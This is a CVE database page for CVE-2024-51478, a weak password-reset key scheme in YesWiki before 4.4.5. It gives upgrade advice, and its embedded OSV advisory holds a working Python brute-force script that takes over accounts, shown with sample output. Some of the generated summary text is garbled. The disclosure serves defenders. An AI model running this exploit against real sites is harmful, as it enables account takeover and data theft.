CVE-2024-51478: Yeswiki/yeswiki YesWiki Uses A Broken Or Vulnerability
HIGHCVE-2024-51478 is a HIGH (CVSS 9.9) yeswiki uses a broken or vulnerability (CWE-327: Use of a Broken or Risky Cryptographic Algorithm) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki uses a broken or risky cryptographic algorithm. Remediation is available by upgrading affected packages to version 4.4.5.
CVE-2024-51478 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L).
How to Fix CVE-2024-51478
To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade yeswiki/yeswiki to 4.4.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for yeswiki/yeswiki
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-51478, inspect your project dependencies for Yeswiki/yeswiki:
inspect dependencies for yeswiki/yeswiki
Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.4.5), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-327: Use of a Broken or Risky Cryptographic Algorithm, where the product uses a broken or risky cryptographic algorithm or protocol. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-51478 Affected Yeswiki/yeswiki Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
yeswiki/yeswiki
|
Packagist |
< 4.4.5
|
4.4.5
|
References
Frequently Asked Questions
What is CVE-2024-51478?
Which Yeswiki/yeswiki versions are affected?
What version fixes CVE-2024-51478?
Is yeswiki/yeswiki affected?
What is the CVSS score of CVE-2024-51478?
What CWE is associated with CVE-2024-51478?
How can I check Packagist dependencies for CVE-2024-51478?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4fvx-h823-38v3",
"modified" : "2024-10-31T19:36:27Z",
"published" : "2024-10-31T17:12:35Z",
"aliases" : [ "CVE-2024-51478" ],
"summary" : "YesWiki Uses a Broken or Risky Cryptographic Algorithm",
"details" : "### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = 'FBcA';\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n // Generate the password recovery key\n $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);\n```\n\nThe key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = 'FBcA' # Hardcoded salt \nrandom_range = 10000 # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n parser = ArgumentParser()\n parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n return parser.parse_args()\n\n# Reset password request and get timestamp \ndef reset_password(email: str, domain: str):\n response = post(\n f'{domain}?MotDePassePerdu',\n data={\n 'email': email, \n 'subStep': '1'\n },\n headers={\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n )\n if response.ok:\n timestamp = datetime.now() # obtain the timestamp\n timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')\n print(f\"[*] Requesting link for {email} at {timestamp}\")\n return timestamp\n else:\n print(\"[-] Error while resetting password.\")\n exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n user_base64 = b64encode(username.encode()).decode()\n data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n hash_candidate = md5(data.encode()).hexdigest()\n url = f\"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}\"\n # print(f\"[*] Checking {url}\")\n response = get(url)\n \n # Check if the link is valid, warning depending on the language\n if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:\n return (True, random_int_val, hash_candidate, url)\n return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n # Launch the brute-force\n print(f\"[*] Starting brute-force, it can take few minutes...\")\n with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n \n for future in as_completed(futures):\n success, random_int_val, hash_candidate, url = future.result()\n if success:\n print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n print(f\"[+] URL: {url}\")\n exit()\n else:\n print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n args = parseArgs()\n timestamp_req = reset_password(args.email, args.domain)\n main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "yeswiki/yeswiki"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.4.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.4.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-51478"
}, {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc"
}, {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/YesWiki/yeswiki"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-327" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-31T17:12:35Z",
"nvd_published_at" : "2024-10-31T17:15:13Z"
}
}